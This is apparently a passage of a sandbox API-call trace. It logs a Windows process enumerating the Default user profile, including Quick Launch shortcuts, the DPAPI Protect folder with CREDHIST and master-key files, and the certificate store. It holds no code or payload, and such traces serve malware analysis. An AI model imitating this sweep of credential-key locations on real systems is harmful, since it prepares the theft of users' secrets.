	[0082.419] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.420] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1264f728 | out: lpFileInformation=0x1264f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de234aa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122)) returned 1
	[0082.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), fInfoLevelId=0x0, lpFileInformation=0x1264f778 | out: lpFileInformation=0x1264f778*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.422] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.422] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.422] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts"), fInfoLevelId=0x0, lpFileInformation=0x1264f868 | out: lpFileInformation=0x1264f868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.422] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.422] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.423] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.423] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar"), fInfoLevelId=0x0, lpFileInformation=0x1264f8b8 | out: lpFileInformation=0x1264f8b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.423] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.423] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.424] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1264fa48 | out: lpFileInformation=0x1264fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9)) returned 1
	[0082.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1264fa98 | out: lpFileInformation=0x1264fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc)) returned 1
	[0082.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1264fae8 | out: lpFileInformation=0x1264fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b)) returned 1
	[0082.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1264fb38 | out: lpFileInformation=0x1264fb38*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x123526f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xd3)) returned 1
	[0082.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1264fb88 | out: lpFileInformation=0x1264fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1
	[0082.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1264fbd8 | out: lpFileInformation=0x1264fbd8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de4960a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e1692f0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x92)) returned 1
	[0082.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect"), fInfoLevelId=0x0, lpFileInformation=0x1264fc28 | out: lpFileInformation=0x1264fc28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.427] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.427] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.427] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), fInfoLevelId=0x0, lpFileInformation=0x1264fd18 | out: lpFileInformation=0x1264fd18*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500"), fInfoLevelId=0x0, lpFileInformation=0x1264fd68 | out: lpFileInformation=0x1264fd68*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.427] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.428] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.429] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), fInfoLevelId=0x0, lpFileInformation=0x1264fe58 | out: lpFileInformation=0x1264fe58*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), fInfoLevelId=0x0, lpFileInformation=0x1264fea8 | out: lpFileInformation=0x1264fea8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1
	[0082.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates"), fInfoLevelId=0x0, lpFileInformation=0x1264fef8 | out: lpFileInformation=0x1264fef8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.431] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.431] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.431] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my"), fInfoLevelId=0x0, lpFileInformation=0x1264ff98 | out: lpFileInformation=0x1264ff98*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.431] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.431] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.431] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls"), fInfoLevelId=0x0, lpFileInformation=0x127c00f8 | out: lpFileInformation=0x127c00f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.432] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.432] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.433] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls"), fInfoLevelId=0x0, lpFileInformation=0x127c0148 | out: lpFileInformation=0x127c0148*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.433] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.433] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.433] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x127c0198 | out: lpFileInformation=0x127c0198*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.433] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.433] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.434] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x127c01e8 | out: lpFileInformation=0x127c01e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
